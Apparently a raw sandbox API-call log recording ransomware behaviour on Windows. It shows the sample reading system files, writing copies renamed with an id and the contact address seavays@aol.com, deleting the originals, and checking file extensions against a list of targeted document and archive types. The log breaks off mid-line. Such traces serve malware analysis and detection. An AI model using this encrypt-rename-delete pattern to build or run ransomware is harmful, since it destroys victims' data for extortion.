0x0 [0071.252] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0071.983] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0072.004] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xae90, lpOverlapped=0x0) returned 1 [0072.366] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xaea0, lpOverlapped=0x0) returned 1 [0072.371] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.372] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xfc, lpOverlapped=0x0) returned 1 [0072.372] SetEndOfFile (hFile=0x36c) returned 1 [0073.466] CloseHandle (hObject=0x36c) returned 1 [0073.466] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.466] SetEndOfFile (hFile=0x390) returned 1 [0073.467] CloseHandle (hObject=0x390) returned 1 [0073.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0073.468] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0073.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.468] lstrlenW (lpString=".doc") returned 4 [0073.468] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0073.468] lstrlenW (lpString=".docx") returned 5 [0073.468] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0073.468] lstrlenW (lpString=".pdf") returned 4 [0073.468] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0073.468] lstrlenW (lpString=".xls") returned 4 [0073.468] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0073.468] lstrlenW (lpString=".xlsx") returned 5 [0073.468] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0073.468] lstrlenW (lpString=".ppt") returned 4 [0073.468] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0073.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.469] lstrlenW (lpString=".zip") returned 4 [0073.469] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0073.469] lstrlenW (lpString=".rar") returned 4 [0073.469] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0073.469] lstrlenW (lpString=".bz2") returned 4 [0073.469] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0073.469] lstrlenW (lpString=".7z") returned 3 [0073.469] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0073.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.469] lstrlenW (lpString=".dbf") returned 4 [0073.469] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0073.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.469] lstrlenW (lpString=".1cd") returned 4 [0073.469] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0073.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.469] lstrlenW (lpString=".jpg") returned 4 [0073.469] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0073.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.469] lstrlenW (lpString=".doc") returned 4 [0073.469] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0073.469] lstrlenW (lpString=".docx") returned 5 [0073.469] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0073.469] lstrlenW (lpString=".pdf") returned 4 [0073.469] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0073.470] lstrlenW (lpString=".xls") returned 4 [0073.470] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0073.470] lstrlenW (lpString=".xlsx") returned 5 [0073.470] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0073.470] lstrlenW (lpString=".ppt") returned 4 [0073.470] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0073.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.470] lstrlenW (lpString=".zip") returned 4 [0073.470] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0073.470] lstrlenW (lpString=".rar") returned 4 [0073.470] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0073.470] lstrlenW (lpString=".bz2") returned 4 [0073.470] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0073.470] lstrlenW (lpString=".7z") returned 3 [0073.470] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0073.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.470] lstrlenW (lpString=".dbf") returned 4 [0073.470] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0073.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.470] lstrlenW (lpString=".1cd") returned 4 [0073.470] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0073.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0073.470] lstrlenW (lpString=".jpg") returned 4 [0073.470] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0073.471] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0073.471] lstrlenW (lpString="vccorlib140.dll") returned 15 [0073.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0073.471] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=390320) returned 1 [0073.471] CloseHandle (hObject=0x390) returned 1 [0073.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0073.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0073.472] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.472] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0073.472] GetLastError () returned 0x0 [0073.472] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0073.482] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0073.490] ReadFile (in: hFile=0x390, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.490] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf2, lpOverlapped=0x0) returned 1 [0073.490] SetEndOfFile (hFile=0x36c) returned 1 [0073.490] CloseHandle (hObject=0x36c) returned 1 [0073.490] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.490] SetEndOfFile (hFile=0x390) returned 1 [0073.494] CloseHandle (hObject=0x390) returned 1 [0073.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0073.494] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0073.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.494] lstrlenW (lpString=".doc") returned 4 [0073.494] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.495] lstrlenW (lpString=".docx") returned 5 [0073.495] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0073.495] lstrlenW (lpString=".pdf") returned 4 [0073.495] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.495] lstrlenW (lpString=".xls") returned 4 [0073.495] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.495] lstrlenW (lpString=".xlsx") returned 5 [0073.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0073.495] lstrlenW (lpString=".ppt") returned 4 [0073.495] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.495] lstrlenW (lpString=".zip") returned 4 [0073.495] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.495] lstrlenW (lpString=".rar") returned 4 [0073.495] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.495] lstrlenW (lpString=".bz2") returned 4 [0073.495] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.495] lstrlenW (lpString=".7z") returned 3 [0073.495] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.495] lstrlenW (lpString=".dbf") returned 4 [0073.495] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.495] lstrlenW (lpString=".1cd") returned 4 [0073.495] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.495] lstrlenW (lpString=".jpg") returned 4 [0073.495] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.496] lstrlenW (lpString=".doc") returned 4 [0073.496] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.496] lstrlenW (lpString=".docx") returned 5 [0073.496] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0073.496] lstrlenW (lpString=".pdf") returned 4 [0073.496] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.496] lstrlenW (lpString=".xls") returned 4 [0073.496] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.496] lstrlenW (lpString=".xlsx") returned 5 [0073.496] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0073.496] lstrlenW (lpString=".ppt") returned 4 [0073.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.496] lstrlenW (lpString=".zip") returned 4 [0073.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.496] lstrlenW (lpString=".rar") returned 4 [0073.496] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.496] lstrlenW (lpString=".bz2") returned 4 [0073.496] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.496] lstrlenW (lpString=".7z") returned 3 [0073.496] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.532] lstrlenW (lpString=".dbf") returned 4 [0073.532] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.532] lstrlenW (lpString=".1cd") returned 4 [0073.532] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0073.533] lstrlenW (lpString=".jpg") returned 4 [0073.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.533] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0073.533] lstrlenW (lpString="vcruntime140.dll") returned 16 [0073.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0073.533] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=88752) returned 1 [0073.533] CloseHandle (hObject=0x390) returned 1 [0073.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0073.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.534] lstrlenW (lpString=".doc") returned 4 [0073.534] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.534] lstrlenW (lpString=".docx") returned 5 [0073.534] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0073.534] lstrlenW (lpString=".pdf") returned 4 [0073.534] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.534] lstrlenW (lpString=".xls") returned 4 [0073.534] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.534] lstrlenW (lpString=".xlsx") returned 5 [0073.534] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0073.534] lstrlenW (lpString=".ppt") returned 4 [0073.534] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.534] lstrlenW (lpString=".zip") returned 4 [0073.534] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.534] lstrlenW (lpString=".rar") returned 4 [0073.534] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.534] lstrlenW (lpString=".bz2") returned 4 [0073.534] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.534] lstrlenW (lpString=".7z") returned 3 [0073.534] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.534] lstrlenW (lpString=".dbf") returned 4 [0073.535] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.535] lstrlenW (lpString=".1cd") returned 4 [0073.535] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.535] lstrlenW (lpString=".jpg") returned 4 [0073.535] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.535] lstrlenW (lpString=".doc") returned 4 [0073.535] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.535] lstrlenW (lpString=".docx") returned 5 [0073.535] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0073.535] lstrlenW (lpString=".pdf") returned 4 [0073.535] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.535] lstrlenW (lpString=".xls") returned 4 [0073.535] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.535] lstrlenW (lpString=".xlsx") returned 5 [0073.535] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0073.535] lstrlenW (lpString=".ppt") returned 4 [0073.535] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.535] lstrlenW (lpString=".zip") returned 4 [0073.535] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.535] lstrlenW (lpString=".rar") returned 4 [0073.535] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.535] lstrlenW (lpString=".bz2") returned 4 [0073.535] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.535] lstrlenW (lpString=".7z") returned 3 [0073.535] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.536] lstrlenW (lpString=".dbf") returned 4 [0073.536] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.536] lstrlenW (lpString=".1cd") returned 4 [0073.536] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0073.536] lstrlenW (lpString=".jpg") returned 4 [0073.536] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.536] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.536] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0073.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0073.833] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=10752) returned 1 [0073.833] CloseHandle (hObject=0x37c) returned 1 [0073.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0073.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.833] lstrlenW (lpString=".doc") returned 4 [0073.833] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.833] lstrlenW (lpString=".docx") returned 5 [0073.833] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.834] lstrlenW (lpString=".pdf") returned 4 [0073.834] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.834] lstrlenW (lpString=".xls") returned 4 [0073.834] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.834] lstrlenW (lpString=".xlsx") returned 5 [0073.834] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.834] lstrlenW (lpString=".ppt") returned 4 [0073.834] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.834] lstrlenW (lpString=".zip") returned 4 [0073.834] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.834] lstrlenW (lpString=".rar") returned 4 [0073.834] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.834] lstrlenW (lpString=".bz2") returned 4 [0073.834] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.834] lstrlenW (lpString=".7z") returned 3 [0073.834] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.834] lstrlenW (lpString=".dbf") returned 4 [0073.834] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.834] lstrlenW (lpString=".1cd") returned 4 [0073.834] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.834] lstrlenW (lpString=".jpg") returned 4 [0073.834] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.835] lstrlenW (lpString=".doc") returned 4 [0073.835] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.835] lstrlenW (lpString=".docx") returned 5 [0073.835] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.835] lstrlenW (lpString=".pdf") returned 4 [0073.835] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.835] lstrlenW (lpString=".xls") returned 4 [0073.835] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.835] lstrlenW (lpString=".xlsx") returned 5 [0073.835] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.835] lstrlenW (lpString=".ppt") returned 4 [0073.835] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.835] lstrlenW (lpString=".zip") returned 4 [0073.835] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.835] lstrlenW (lpString=".rar") returned 4 [0073.835] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.835] lstrlenW (lpString=".bz2") returned 4 [0073.835] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.835] lstrlenW (lpString=".7z") returned 3 [0073.835] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0073.836] lstrlenW (lpString=".dbf") returned 4 [0073.836] 